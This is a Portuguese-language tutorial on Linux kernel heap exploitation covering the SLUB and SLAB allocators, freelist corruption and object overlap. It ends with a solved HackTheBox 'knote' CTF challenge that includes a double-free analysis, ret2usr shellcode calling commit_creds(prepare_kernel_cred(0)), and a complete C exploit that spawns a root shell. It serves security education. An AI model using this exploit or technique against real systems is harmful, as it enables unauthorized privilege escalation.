Jump to content
  • Linux Kernel Heap 101: técnicas de manipulação

       (0 reviews)

    0xTen
     Share

    Introdução

    Ao explorar bugs de corrupção de memória, mesmo que os tipos de bugs sejam quase sempre os mesmos (Use-after-free, Double-free, OOB, Overflow, etc), as técnicas que devem ser usadas para explorar o bug variam a depender de alguns fatores como a plataforma, a região de memória, o alocador, e muitos muitos outros. Nesse artigo vamos entender como explorar corrupções de memória nos alocadores utilizados nas principais builds do kernel linux, o SLUB e o SLAB, para alcançar primitivas de leitura e escrita na memória e algumas técnicas para usar essa primitivas para escalar o nosso privilégio no sistema com algumas proteções comuns. Note que para entender exploração de heap no kernel linux é ideal já estar familiar com assuntos de heap e de kernel, separadamente.

    SLUB
    O SLUB, é um alocador de memória, ou seja, quando o kernel chama a função kmalloc(), o SLUB é o responsável por alocar um objeto na memória com o tamanho solicitado e retornar um ponteiro para esse objeto e também por adicionar o objeto em algum cache para reuso quando o kernel chama a função kfree(). É importante destacar que existem outros alocadores como o SLAB.

    O alocador SLUB divide os objetos em diferentes regiões chamadas slabs, de acordo com o tamanho dos objetos. As slabs existentes dependem de como o kernel foi compilado mas normalmente a menor slab é a kmalloc-16, onde ficam armazenados os objetos com tamanho maior ou igual a 16 bytes, seguido pelo kmalloc-32, para os objetos com tamanho maior ou igual a 32 bytes, kmalloc-64, kmalloc-96, kmalloc-128... (normalmente alinhado a múltiplos de 32). Ou seja, todos os objetos de mesmo tamanho são alocados próximos uns aos outros. Portanto, é IMPOSSÍVEL, por exemplo, um objeto de 64 bytes ser adjacente a um objeto de 32 bytes (em breve vamos falar das implicações dessa observação na exploração).

    É importante também observar que o cache do SLUB consiste em freelists para cada slab. Essas freelists são linked-lists simples em que cada objeto da lista possui um ponteiro na primeira qword que aponta para o próximo objeto da lista. As freelists normalmente possuem um comportamento LIFO (Last in First Out), que significa que os objetos que foram liberados por último serão os primeiros a serem realocados.

    slub_freelist.png.7392b7726f77e98d8deb93bef92fae62.png

    SLAB
    O SLAB é similar ao SLUB em quase todos os aspectos exceto pelo fato de que os objetos livres que estão nas freelists não possuem um ponteiro na primeira qword que aponte para o próximo objeto livre. Objetos no cache do SLAB não armazenam NENHUM tipo de metadado, tornando algumas das técnicas utilizadas no SLUB inviáveis.

    Corrompendo objetos
    É importante perceber no caso do SLUB que os ponteiros dos objetos livres são alvos fáceis uma vez que um objeto foi corrompido, permitindo que o próximo objeto do tamanho corrompido seja alocado em uma localização arbitrária ao fazer com que o kmalloc retorne um ponteiro arbitrário.

    slub_freelist_corrupted.thumb.png.8d0b6a6190541f07e80ba877e3656f72.png

    Entretanto, lembre-se que o SLAB não possui estes ponteiros para que sejam corrompidos, ou seja, envenenar o cache não é possível se o alocador SLAB for utilizado, portanto, alcançar escrita e leitura arbitrárias não é tão simples quanto no SLUB.
    Para isso é preciso entender que todos os objetos de todos os subsistemas do linux usam o mesmo heap e os mesmos caches. Suponha uma corrupção de memória que permita sobrescrever objetos que estão inicialmente livres, seja um OOB, um buffer overflow, um use-after-free ou qualquer outra. Essa corrupção permitiria sobrescrever o objeto não somente enquanto ele está livre, mas também permitiria sobrescrevê-lo depois que já foi realocado, ou seja, é possível sobrescrever um objeto que armazene alguma estrutura importante que seja utilizada por outro subsistema.
    Com esse conceito em mente, imagine um subsistema sem vulnerabilidades com 4 syscalls que podem ser invocadas pela userland,

    • syscall(SYS_init_obj, size_t sz); retorna um ponteiro para o objeto
    • syscall(SYS_write_obj, void *in, size_t sz); escreve no objeto
    • syscall(SYS_read_obj, void *out, size_t sz); copia os bytes do objeto para a userland
    • syscall(SYS_del_obj); libera o objeto e destrói a referência

    Suponha também que o subsistema possui uma estrutura para esse objeto que fica no heap que tem os seguintes campos:

    void *data
    size_t sz

    Esta estrutura fica no heap, e por possuir 2 campos de 8 bytes cada, fica na slab kmalloc-16.

    Agora suponha que haja uma corrupção em outro subsistema e que seja um Use-after-free, por exemplo. Ou seja, existe um objeto livre que ainda pode ser acessado, neste caso, suponha acesso de escrita. Um caminho para abusar isso seria criar a condição de Use-after-free, ou seja, alocar o objeto vulnerável, e deletá-lo em seguida. E então chamar a syscall SYS_init_obj com o mesmo tamanho do objeto do vulnerável, assim, o comportamento LIFO do SLAB fará com que essa alocação utilize o último objeto que foi livre, ou seja, o objeto vulnerável. Com isso acabamos de criar uma interface de escrita e leitura arbitrárias.

    slab_arb_read_write.thumb.png.02175404c2458e4d78e3df0656904463.png

    Assim, podemos usar o subsistema vulnerável para editar para onde o ponteiro data aponta e qual é o valor do tamanho sz e em seguida usar o subsistema alvo para ler e escrever utilizando os valores corrompidos. Numa situação real é possível que a corrupção de memória esteja restrita a um slab específico, portanto, é importante selecionar objetos alvo de acordo com o objetivo e o slab. Aqui está um compilado de alguns desses objetos.

    Algumas proteções
    O foco desse artigo é introduzir especificamente as técnicas relacionadas ao heap do kernel linux, tocando o mínimo possível em assuntos generalistas do kernel e de heap, separadamente. Portanto somente algumas proteções serão brevemente mencionadas.
    O kernel linux pode ser (e normalmente é) executado com algumas proteções que devem ser consideradas se presentes no ambiente, como:

     kASLR
    A versão kernel-mode do ASLR. Randomiza a base onde as regiões de memória do kernel são inicializadas, tornando a exploração muito difícil (e às vezes impossível) sem um vazamento que permita ler um ponteiro do kernel.

    SMEP
    Restringe a execução de memória em páginas da userland. Ou seja, se o PC em kernel-mode apontar para uma página alocada para a userland, isso causará uma exceção e um kernel panic.

    SMAP
    É uma extensão do SMEP, porém, não somente restringe a execução de páginas da userland mas também restringe o acesso direto de memória alocada para a userland. Ou seja, o acesso de leitura ou escrita em kernel-mode a uma página da userland causará uma exceção e um kernel panic. A única forma de acessar memória da userland com o SMAP habilitado é por meio da interface usercopy, que disponibiliza as funções copy_from_user e copy_to_user.

    Exemplificando com desafios de CTF
    Um desafio de nível introdutório é o knote do Hackthebox. Os arquivos do desafio estão todos no meu github.
    Vamos resolver o desafio com os conceitos que foram discutidos, começando com uma breve análise do módulo.

    Análise do módulo vulnerável

    [...]
    static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
        mutex_lock(&knote_ioctl_lock);
        struct knote_user ku;
        if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
            return -EFAULT;
        switch(cmd) {
            case KNOTE_CREATE:
                if(ku.len > 0x20 || ku.idx >= 10)
                    return -EINVAL;
                char *data = kmalloc(ku.len, GFP_KERNEL);
                knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
                if(data == NULL || knotes[ku.idx] == NULL) {
                    mutex_unlock(&knote_ioctl_lock);
                    return -ENOMEM;
                }
    
                knotes[ku.idx]->data = data;
                knotes[ku.idx]->len = ku.len;
                if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                    kfree(knotes[ku.idx]->data);
                    kfree(knotes[ku.idx]);
                    mutex_unlock(&knote_ioctl_lock);
                    return -EFAULT;
                }
                knotes[ku.idx]->encrypt_func = knote_encrypt;
                knotes[ku.idx]->decrypt_func = knote_decrypt;
                break;
            case KNOTE_DELETE:
                if(ku.idx >= 10 || !knotes[ku.idx]) {
                    mutex_unlock(&knote_ioctl_lock);
                    return -EINVAL;
                }
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]);
                knotes[ku.idx] = NULL;
                break;
            case KNOTE_READ:
                if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
                    mutex_unlock(&knote_ioctl_lock);
                    return -EINVAL;
                }
                if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
                    mutex_unlock(&knote_ioctl_lock);
                    return -EFAULT;
                }
                break;
            case KNOTE_ENCRYPT:
                if(ku.idx >= 10 || !knotes[ku.idx]) {
                    mutex_unlock(&knote_ioctl_lock);
                    return -EINVAL;
                }
                knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
                break;
             case KNOTE_DECRYPT:
                if(ku.idx >= 10 || !knotes[ku.idx]) {
                    mutex_unlock(&knote_ioctl_lock);
                    return -EINVAL;
                }
                knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
                break;
            default:
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
        }
        mutex_unlock(&knote_ioctl_lock);
        return 0;
    }
    [...]

    O módulo funciona de forma relativamente simples, há somente uma função acessível para a userland por meio de uma chamada ioctl que permite executar 5 comandos: KNOTE_CREATE, KNOTE_DELETE, KNOTE_READ, KNOTE_ENCRYPT e KNOTE_DECRYPT.

    O comando KNOTE_CREATE e KNOTE_DELETE podem ser usados para criar um bug de double free:

    [...]
    char *data = kmalloc(ku.len, GFP_KERNEL);
    knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
    [...]
    if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
        kfree(knotes[ku.idx]->data);
        kfree(knotes[ku.idx]);
    [...]

    Explorando um double-free
    ku.data é um ponteiro controlado pela userland que aponta para os dados que devem ser copiados para o buffer knotes[ku.idx]->data (buffer alocado com o kmalloc) com a função copy_from_user. Caso a chamada para a função copy_from_user retorne um valor não nulo, ou seja, um erro, então a estrutura com o ponteiro e tamanho do buffer e o buffer em si, são liberados com o kfree sem anular o ponteiro para a estrutura no array knotes nem anular o ponteiro contido na estrutura que aponta para o buffer, ou seja, as referências todas são preservadas mesmo após os objetos já terem sido liberados e adicionados aos seus respectivos caches. Em muitas situações esse bug seria um use-after-free, mas este módulo não implementa forma nenhuma de editar o buffer depois que já foi criado, portanto, não é possível escrever diretamente no objeto. Entretanto, uma vez que a referência do objeto recém-liberado ainda existe, é possível usar o comando KNOTE_DELETE para liberar o objeto novamente, fazendo com que duas entradas do cache apontem para a mesma memória, o que fará com que as próximas duas alocações para essa slab se sobreponham.

    Corrompendo estruturas
    Ok, nós já podemos sobrepor objetos, mas ainda é preciso decidir quais objetos sobrepor da vasta gama de opções que o kernel Linux oferece. Para isso, podemos nos apoiar no compilado de estruturas documentadas que podem ser usadas para apoiar a exploração. O nosso objetivo deve ser sobrescrever um objeto que tenhamos pleno acesso de escrita com um outro que carregue estruturas críticas (como ponteiros de função ou ponteiros usados para leitura e/ou escrita). No caso desse desafio, as proteções SMAP e SMEP estão desabilitadas, por tanto, é possível executar memória da userland. Já que podemos executar memória da userland, podemos utilizar uma técnica chamada ret2usr, que consiste em alocar um shellcode em memória da userland e então apontar o PC em kernel-mode para esse endereço. Para essa tarefa, eu escolhi o objeto alocado pela função setxattr já que os dados e o tamanho desse buffer podem ser controlados pela userland no momento da alocação e como objeto alvo eu escolhi a estrutura seq_operations, já que essa estrutura armazena ponteiros de função.sexattr:

    setxattr(struct dentry *d, const char __user *name, const void __user *value,
         size_t size, int flags)
    {
        int error;
        void *kvalue = NULL;
        char kname[XATTR_NAME_MAX + 1];
    
        if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
            return -EINVAL;
    
        error = strncpy_from_user(kname, name, sizeof(kname));
        if (error == 0 || error == sizeof(kname))
            error = -ERANGE;
        if (error < 0)
            return error;
    
        if (size) {
            if (size > XATTR_SIZE_MAX)
                return -E2BIG;
            kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
            if (!kvalue) {
                kvalue = vmalloc(size);
                if (!kvalue)
                    return -ENOMEM;
            }
            if (copy_from_user(kvalue, value, size)) {
                error = -EFAULT;
                goto out;
            }
            if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
                (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
                posix_acl_fix_xattr_from_user(kvalue, size);
        }
    
        error = vfs_setxattr(d, kname, kvalue, size, flags);
    out:
        kvfree(kvalue);
    
        return error;
    }

    seq_operations:

    struct seq_operations {
        void * (*start) (struct seq_file *m, loff_t *pos);
        void (*stop) (struct seq_file *m, void *v);
        void * (*next) (struct seq_file *m, void *v, loff_t *pos);
        int (*show) (struct seq_file *m, void *v);
    };
    • A estrutura seq_operations pode ser alocada ao abrir o arquivo /proc/self/stat da seguinte forma: open("/proc/self/stat",O_RDONLY);.
    • O objeto elástico e controlável alocado pela setxattr pode ser alocado da seguinte forma:  setxattr("/path/qualquer","nome_qualquer", &buffer, tamanho, 0);
    • Uma vez que o objeto seq_operations foi alocado, o ponteiro start, na primeira qword da estrutura, pode ser dereferenciado e executado quando quisermos ao chamar read(target, buffer_qualquer, 1); sendo target o file descriptor retornado pelo open ao abrir o /proc/self/stat.

    Escalar privilégios
    Este artigo tem o objetivo de descrever com detalhe as técnicas de manipulação do heap no kernel linux, sendo assim, passaremos muito brevemente pela escrita do shellcode para que o foco original seja mantido, mas para os que não entendem do assunto e gostariam de entender mais, eu recomendo a série de nível introdutório de kernel exploitation do lkmidas.
    Por último, precisamos escrever um shellcode que possa nos colocar em uma shell de root. Uma forma de fazer isso é utilizando um shellcode que execute algo como commit_creds(prepare_kernel_cred(0)) que criará um instância da estrutura cred com os ids setados para 0, ou seja, uma credencial de root, e então tornará essa a nova cred do processo atual.
    Se o kASLR estivesse habilitado (que não é o caso) nós precisaríamos de um vazamento de um ponteiro do kernel para calcular os endereços das funções commit_creds e prepare_kernel_cred. Também devemos escrever um segundo shellcode que será executado pelo nosso programa em user-mode antes de começar o exploit para salvar os registradores que serão restaurados quando o shellcode executado pelo PC em kernel-mode trocar o contexto de volta para user-mode e por fim abrir uma shell.

    [...]
    void bak(){
        __asm__(
            ".intel_syntax noprefix;"
            "mov bak_cs, cs;"
            "mov bak_ss, ss;"
            "mov bak_rsp, rsp;"
            "pushf;"
            "pop bak_rflags;"
            ".att_syntax;"        
        );
        puts("[+]Registers backed up");
    }
    [...]
    void shellcode(){
        __asm__(
            ".intel_syntax noprefix;"
            "mov rdi, 0;"
            "movabs rbx, 0xffffffff81053c50;"
            "call rbx;"
            "mov rdi, rax;"
            "movabs rbx, 0xffffffff81053a30;"
            "call rbx;"
            "swapgs;"
            "mov r15, bak_ss;"
            "push r15;"
            "mov r15, bak_rsp;"
            "push r15;"
            "mov r15, bak_rflags;"
            "push r15;"
            "mov r15, bak_cs;"
            "push r15;"
            "mov r15, bak_rip;"
            "push r15;"
            "iretq;"
            ".att_syntax;"
        );
    [...]

    Exploit final
    Recapitulando brevemente, nossa técnica consistiu em:

    • Criar a condição de double free;
    • Alocar um objeto seq_operations que contém ponteiros de função;
    • Alocar um objeto setxattr para sobrepôr o objeto seq_operations e sobrescrever um ponteiro de função com um ponteiro para o nosso shellcode na userland;
    • Fazer com que o ponteiro de função corrompido seja chamado, que resultará na execução do nosso shellcode;

    O meu código para a solução do desafio ficou assim:

    #include <fcntl.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/xattr.h>
    
    #define KNOTE_CREATE    0x1337
    #define KNOTE_DELETE    0x1338
    #define KNOTE_READ      0x1339
    #define KNOTE_ENCRYPT   0x133a
    #define KNOTE_DECRYPT   0x133b
    
    int dev, target;
    
    /* Module structs */
    typedef struct {
        char *data;
        size_t len;
        void (*encrypt_func)(char *, size_t);
        void (*decrypt_func)(char *, size_t);
    } knote;
    
    typedef struct {
        unsigned long idx;
        char * data;
        size_t len;
    } knote_user;
    
    /* Backup registers */
    unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip;
    
    void bak(){
        __asm__(
            ".intel_syntax noprefix;"
            "mov bak_cs, cs;"
            "mov bak_ss, ss;"
            "mov bak_rsp, rsp;"
            "pushf;"
            "pop bak_rflags;"
            ".att_syntax;"        
        );
        puts("[+]Registers backed up");
    }
    
    /* Helper functions */
    void debug(){
        puts("[+]Halted execution");
        getchar();
    }
    
    void open_dev(){
        dev = open("/dev/knote",O_RDONLY);
        puts("[+]Interacting with device");
    }
    
    void do_create(unsigned long idx, char *data, size_t len){
        knote_user note = {
            .idx = idx,
            .data = data,
            .len = len
        };
        ioctl(dev,KNOTE_CREATE,&note);
    }
    
    void do_delete(unsigned long idx){
        knote_user note = {
            .idx = idx
        };
        ioctl(dev,KNOTE_DELETE,&note);
    }
    
    void bin_sh(){
        printf("[+]UID: %d\n",getuid());
        close(target);
        system("/bin/sh");
    }
    unsigned long bak_rip = (unsigned long)bin_sh;
    
    void shellcode(){
        __asm__(
            ".intel_syntax noprefix;"
            "mov rdi, 0;"
            "movabs rbx, 0xffffffff81053c50;"
            "call rbx;"
            "mov rdi, rax;"
            "movabs rbx, 0xffffffff81053a30;"
            "call rbx;"
            "swapgs;"
            "mov r15, bak_ss;"
            "push r15;"
            "mov r15, bak_rsp;"
            "push r15;"
            "mov r15, bak_rflags;"
            "push r15;"
            "mov r15, bak_cs;"
            "push r15;"
            "mov r15, bak_rip;"
            "push r15;"
            "iretq;"
            ".att_syntax;"
        );
    }
    
    /* Exploit */
    int main(){
        char payload[0x20];
        void *func_ptr = &shellcode;
    
        bak();
        open_dev();
    
        /* Double free */
        do_create(0, (char *)0x1337000, 0x20);
        do_delete(0);
    
        /* Allocate seq_operations */
        target = open("/proc/self/stat", O_RDONLY);
    
        /* Consume free entry */
        open("/proc/self/stat", O_RDONLY);
    
        /* Overlap w/ setxattr */
        setxattr("/proc/self/stat","exploit", &func_ptr, 0x20, 0);
        read(target, payload, 1);
    
        return 0;
    }

    Considerações finais
    O heap do kernel linux é bastante complexo e várias técnicas não foram cobertas, diferentes bugs são explorados de diferentes formas em diferentes alocadores com diferentes configurações, logo, escrever um exploit exige compreender e ler a implementação do alocador (qual é a rotina para alocar e remover objetos? Como funciona o gerenciamento dos caches?), entender a capacidade total de cada bug (o que dá para fazer com essa vuln?) e entender o objetivo do exploit (que valor na memória eu posso querer corromper?). Esses conhecimentos e questionamentos podem servir de guia para escolher estruturas para corromper, técnicas, objetos usados para moldar a memória, etc.

    Referências

     

     


     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Restore formatting

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


  • Similar Content

×
×
  • Create New...